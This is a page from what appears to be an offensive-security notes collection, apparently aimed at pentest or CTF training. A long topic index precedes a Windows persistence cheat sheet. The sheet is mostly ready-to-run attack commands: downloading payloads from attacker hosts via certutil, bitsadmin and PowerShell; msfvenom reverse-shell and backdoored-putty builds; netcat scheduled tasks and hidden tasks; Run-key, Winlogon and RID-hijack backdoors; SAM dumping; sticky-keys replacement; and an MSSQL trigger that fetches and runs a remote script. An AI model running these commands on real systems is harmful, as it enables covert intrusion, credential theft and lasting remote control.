Crypto

Openssl

- openssl
- openssl_engine

- rsa

Enumeration

Containers

Docs

- aws
- cewl
- dns
- docker_enumeration
- ffuf
- gobuster
- kerberoast
- kubectl
- ldap
- linux_basics
- microk8s
- nfs
- nikto
- nmap
- port_knocking
- rpcclient
- rsync
- rustscan
- shodan
Snmp

- onesixtyone
- snmpcheck

- websites
- wfuzz
- wpscan

Network_scanners

Windows

- bloodhound
- event_log
- manual_enum
- powershell
- rpcclient
- sysinternals
- sysmon
- vss

Exfiltration

Dns

- dns

Linux

- nc
- wget

Windows

- evil-winrm
- loot
- smb_connection

Exploit

CPUs

- meltdown

Binaries

- aslr
Buffer_overflow

Docs

- amd64
- amd64_instructions
- buffer_overflow
- cut_stack_in_half
- pwntools_specifics
- ret_address_reuse

- ropping

Canary_bypass

- canary_bypass

Format_string

- format_string

Integral_promotion

- integral_promotion

- plt_got
- r2
- ret2libc

Dns

- zone_transfer

Hashes

- collision

Imagemagick

- imagetragick

Java

OGNL

- cve_2022_26134

- ghidra_debug
- ghostcat
- log4shell
- spring4shell

Level3_hypervisor

Docker_sec

- docker

- kubernetes
- lxc
- microk8s

Linux

- capabilities
Dirty_pipe

- dirty_pipe

- exiftool
- groups
- ld_preload
- nfs_rootsquash
- overlayfs
Pkexec

- CVE_2021_4034

- polkit
- racing_conditions
- setcap
- shared_object_injection
- shell_shock
Sudo

- CVE_2019_14287
- CVE_2019_18634
- baron_samedit
- tokens

- wildard_exploitation

MacOS

Network

- mac_spoofing

Padding

- padbuster

Python

- code_injection
- jail_escape
- lib_hijack
- pickle
- pwntools
- pyc
- scapy

Samba

- smbmap

Sqli

- mssql
- no_sqli
- sqli
- sqlmap

Ssl_tls

- heartbleed

Web

Bypass_rate_limiting

- bypass_rate_limiting

- command_injection
Content_security_policy

- content_security_policy

- cookie_tampering
- csrf
Forced_browsing

- forced_browsing

- http_header_injection
Idor

- idor

Javascript

- bypass_filters
- prototype_pollution

Jwt

- jwt

- local_file_inclusion
- methodology
Nodejs

- deserialization

Php

- command_injection
- password_reset
- php_base64_filter
- php_image_exif
- php_user_agent_rce
- preload_lib
- unserialize

- re_registration
- remote_file_inclusion
Ssrf

- iframe
- ssrf

Ssti

- ssti

- url_forgery
- wordpress
- xpath
- xss
Xxe

- wp_xxe_
- xml_external_entity

Windows

Dll_hijacking

- dll_hijacking

Docs

- always_installed_elevated
- crackmapexec
- dpapi
- impacket
- llmnr
- lnk_exploit
- pass_the_hash
- password_in_registry
- potatoes
- printnightmare
- responder
- unquoted_path

Macros

- macros

Payloads

- windows_scripting_host

Print_nightmare

CVE-2021-1675

Nightmare-dll

- print_nightmare

Process_injection

- dll_injection
- process_hollowing
- shellcode_injection
- thread_hijacking

Service_escalation

- service_escalation

Zero_logon

- zero_logon

Yaml

- deserialization

Forensics

- ios
- kape
- ntfs
- oletools
- volatility
- windows_registry

Hashes

Bruteforce

- generate_wordlists
- haiti
- hashcat_utils
Password_cracking

- hydra
- john
- smb_challenge
- sucrack
- vnc

Password_guessing

- standard_passwords

Misc

Active_directory

- AD_CS
- active_directory
- ad_enumeration
- ad_misconfiguration
- ad_persistence
- gaining_foothold_AD
- lateral_movement

- bash
- clamav
- gitTools
- hadoop
- metasploit
Printer_hacking

- preta

- responder
- sandbox_evasion
- smtp
- snort
Telecommunications

_sipvicious

.github

ISSUE_TEMPLATE

- bug-report
- custom

Sipvicious

- sip_vicious

Threat_intelligence

- isac
- loki
- osquery
- pithus
- siem
- splunk
- yara

Wifi

- airmon-ng

Osint

- recon_ng
Social_engineering

- gophish
- phishing_domain

- spiderfoot
- theharvester

Persistence

- bashrc
- crontab
- meterpreter
- persistence
- wmi

Post exploitation

Seatbelt

.github

ISSUE_TEMPLATE

- bug_report
- feature_request

- CHANGELOG
Seatbelt

Commands

Windows

EventLogs

Output

Bc_security

Docs

- c2
- crackmapexec
- empire
- ids_ips_evation
- linux
- metasploit
- mimikatz
- mitm
- nfs_root_squash
- powershell
- secretsdump
Windows

- antivirus_evasion
- applocker
- evade_event_tracing
- living_off_the_land
- pass_the_hash
- powershell_logs
- registry
- sebackupprivilege
- user_account_control

- pivoting
Priv_esc

Docs

- linux_priv_esc
- pspy
Windows

- add_user
- windows_priv_esc

Kernel-exploits

Privesc-scripts

Docs

- get_script_onto_target

Suid

Reverse engineering

Android

- misc

Docs

- deobfuscation
- dll_reversing
- firmware
- function_mangling
- scada

Java

- krakatau

Reverse shells

Docs

- evil-winrm
- msfconsole
- msfvenom
- netcat
- powershell
- shell_upgrade
- socat
- webshell

- firewalls
Windows

Stego

Docs

- outguess
- remnux
- stegbrute
- steghide
- stegoveritas
- zsteg

- Persistence
  - Gain Persistence on Windows
    - Paths to Persistence
    - Background Intelligence Transfer Service (BITS)
  - Elevate Privileges
    - More stealthy
    - secedit
    - Relative ID (RID)
  - Add to registry
  - Add a Service
    - Meterpreter
    - Powershell
  - Add Scheduled Task
  - File Backdoor
    - Mimic PE
    - Reference Script
    - File Association
  - Persistence via Logon
    - Startup directories
    - Registry Keys
    - Logon Scripts
  - RDP or Login Screen
    - Sticky Keys
    - Utilman
  - Web Shell
  - MSSQL

# Persistence

- Gain through
  - Startup folder persistence
  - Editing registry keys
  - Scheduled tasks
  - SUID
  - BITS
  - Creating a backdoored service
  - Creat user
  - RDP

## Gain Persistence on Windows

- Browser. Add to trusted sites.
- Powershell

    Invoke-WebRequest http://<attacker-IP>:<attackerPort>/shell.exe -OutFile .\shell2.exe

- DOSprompt

    certutil -urlcache -split -f http://<attacker-IP>:<attacker-Port/shell.exe

- Use `multi/handler` on attacker and `set PAYLOAD windows/meterpreter/reverse_tcp`

### Paths to Persistence

- Put in startup directory

    C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

- Put the reverse_shell into `%appdata%` and add a registry key

    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Users\<USER>\AppData\Roaming\backdoor.exe"

### Background Intelligence Transfer Service (BITS)

    bitsadmin /create __shell__
    bitsadmin /addfile __shell__ "http://<attacker-IP>:<attacker-Port>/shell2.exe" "C:\Users\<USER>\Documents\shell2.exe"

    bitsadmin /SetNotifyCmdLine 1 cmd.exe  "/c shell2.exe /complete __shell__ | start /B C:\Users\<USER>\Documents\shell2.exe"
    bitsadmin /SetMinRetryDelay 30
    bitsadmin /resume

## Elevate Privileges

- Create user `net user /add <user> <pass>`
- Add to admin group via `net localgroup administrators <user> /add`
- Check `net localgroup Administrator`

### More stealthy

- Backup Operator group is more stealthy, no admin by r/w on files

    net localgroup "Backup Operators" <user> /add
    net localgroup "Remote Management Users" <user> /add

- The following two groups are assigned through membership of `Backup Operators`

  - SeBackupPrivilege, read files
  - SeRestorePrivilege, write files

- Any local group is stripped of off its admin permissions when logging in via RDP. Therefore disable the following regkey via

    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

- Afterwards, check if `Backup Operators` is enabled via `whoami /groups`
- Backup `SAM` and `SYSTEM` via

    reg save hklm\system system.bak
    reg save hklm\sam sam.bak
    download system.bak
    download sam.bak
    secretsdump.py -sam sam.bak -system system.bak LOCAL

- Pass-the-hash via evil-winrm

### secedit

- Get r/w on files through editing a config file
- Export secedit and open it

    secedit /export /cfg config.inf

- Add user to the groups

    SeBackupPrivilege = [...],<username>
    SeRestorePrivilege = [...],<username>

- Convert the file

    secedit /import /cfg config.inf /db config.sdb
    secedit /configure /db config.sdb /cfg config.infk

- Add the user to the RDP group via net localgroup like before or do

    Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI

- Add & Click user -> Full Control(All Operations)
- Set `LocalAccountTokenFilterPolicy` to `1` like in the section before

### Relative ID (RID)

- UID like in linux
  - Administrator has `RID = 500`
  - Other interactive users `RID >= 1000`
- Get RIDs

     wmic useraccount get name,sid

- Assign `500` to regular user

     PsExec64.exe -i -s regedit

- Open `HKLM\SAM\SAM\Domains\Account\Users\<0xRID>`
- Search for RID value as hexadecimal value
- Open the key called `F` and change effective RID at position `0x30`
- Insert LE hex of `0d500`, which is `f401`

## Add to registry

- Execute on user logon via

    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, C:\yadda\shell2.exe" /f

## Add a Service

### Meterpreter

- Inside meterpreter `load powershell` and `powershell_shell`

    New-Service -Name "<SERVICE_NAME>" -BinaryPathName "<PATH_TO_BINARY>" -Description "<SERVICE_DESCRIPTION>" -StartupType "Boot"

### Powershell

- Start a service automatically

    sc.exe create SteamUpdater binPath= "net user Administrator Passwd123" start= auto
    sc.exe start SteamUpdater

- Use a service PE instead

    msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f exe-service -o SteamUpdater.exe

- Modify an existing service
  - Enumerate all the services

    sc.exe query state=all

    * Info about a specific service, start type should be automatic, service start name should be target user

    sc.exe qc <ServiceName>

    * Reconfigure

    sc.exe config FoundService binPath= "C:\Windows\SteamUpdater.exe" start= auto obj= "LocalSystem"
    sc.exe start FoundService

## Add Scheduled Task

    $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C"\Users\Administrator\Documents\rshell.exe
    $B = New-ScheduledTaskTrigger -AtLogOn
    $C = New-ScheduledTaskPrincipal -UserId "NT AUTHORITY/SYSTEM" -RunLevel Highest
    $D = New-ScheduledTaskSettingsSet
    $E = New-ScheduledTask -Action $A -Trigger $B -Principal $C -Settings $D
    Register-ScheduledTask ReverseShell -InputObject $E

- Alternatively via `schtasks`

    schtasks /create /sc minute /mo 1 /tn SteamUpdater /tr "c:\windows\temp\nc.exe -e cmd.exe $ATTACKER_IP $ATTACKER_PORT" /ru SYSTEM

    * Check task

    schtasks /query /tn SteamUpdater

- Deleting Security Descriptor of a task to make it invisible. Delete the following key

    HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\<taskname>\SD

## File Backdoor

### Mimic PE

    msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=$ATTACKER_IP lport=$ATTACKER_PORT -b "\x00" -f exe -o puttyX.exe

### Reference Script

- Recycle shortcut of an app to reference a reverse shell script
  - Right click -> `Properties` -> `Target`
- Reference the the script `certainlynobackdoor.ps1` via

    powershell.exe -WindowStyle hidden C:\Windows\System32\certainlynobackdoor.ps1

- Content of the script `certainlynobackdoor.ps1`

    Start-Process -NoNewWindow "c:\tools\nc.exe" "-e cmd.exe $ATTACKER_IP $ATTACKER_PORT"
    C:\Windows\System32\calc.exe

### File Association

- Change associated `ProgID` of a file type inside registry `HKLM\Software\Classes\`
- Choose a class and `<class>/shell/open/command` contains the file to be opened as the first argument `%1`
- Chang the argument to a shell script and pass the arg through it

    Start-Process -NoNewWindow "c:\windows\temp\nc.exe" "-e cmd.exe $ATTACKER_IP $ATTACKER_PORT"
    C:\Windows\system32\NOTEPAD.EXE $args[0]

- Change `command\default` to `powershell -windowstyle hidden C:\windows\temp\steamupdater.ps1 %1`

## Persistence via Logon

### Startup directories

- Users' Startup directory under

    C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

- Startup directory for all users, put the reverse shell here

    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

### Registry Keys

- `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`
- `HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce`
- `HKLM\Software\Microsoft\Windows\CurrentVersion\Run`

- `HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce`

- Create `Expandable String Value` under any of this keys with the value of the reverse shell path

- `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\` loads user profile after authentication is done

  - Either `shell` or `Userinit` can be appended with a comma separated command

### Logon Scripts

- `userinit.exe` checks var `UserInitMprLogonScript` which cann be used to load logon scripts

- Create variable `UserInitMprLogonScript` under `HKCU\Environment` which gets the reverse shell as a payload

## RDP or Login Screen

### Sticky Keys

- Press shift x 5 and `C:\Windows\System32\sethc.exe` will be executed
- Take ownership of the binary via

    takeown /f c:\Windows\System32\sethc.exe
    icacls C:\Windows\System32\sethc.exe /grant Administrator:F

- Overwrite with `cmd.exe`

    copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe

### Utilman

- Ease of access button is clickable at the login screen, it is executed with system privileges
- Take ownership and overwrite with `cmd.exe`

    takeown /f c:\Windows\System32\utilman.exe
    icacls C:\Windows\System32\utilman.exe /grant Administrator:F
    copy c:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe

## Web Shell

- Default user is `iis apppool\defaultapppool`

- Has `SeImpersonatePrivilege`

- Download Web Shell

- Move shell to `C:\inetpub\wwwroot` on target
- Get the shell via `http://$TARGET_IP/shell.aspx`

## MSSQL

- Triggers bind actions such as INSERTs

- Open Microsoft SQL Server Management Studio

  - Choose windows auth
  - `New Query`
  - Enable Advance Options via

    sp_configure 'Show Advanced Options',1;
    RECONFIGURE;
    GO

    sp_configure 'xp_cmdshell',1;
    RECONFIGURE;
    GO

    * Grant privileges to all users

    USE master
    GRANT IMPERSONATE ON LOGIN::sa to [Public];

    * Change to DB

    USE <DATABASE>

    * Create trigger

    CREATE TRIGGER [sql_backdoor]
    ON HRDB.dbo.Employees
    FOR INSERT AS

    EXECUTE AS LOGIN = 'sa'
    EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://ATTACKER_IP:8000/evilscript.ps1'')"';

- Trigger the trigger by visiting the site which triggers the trigger through a db call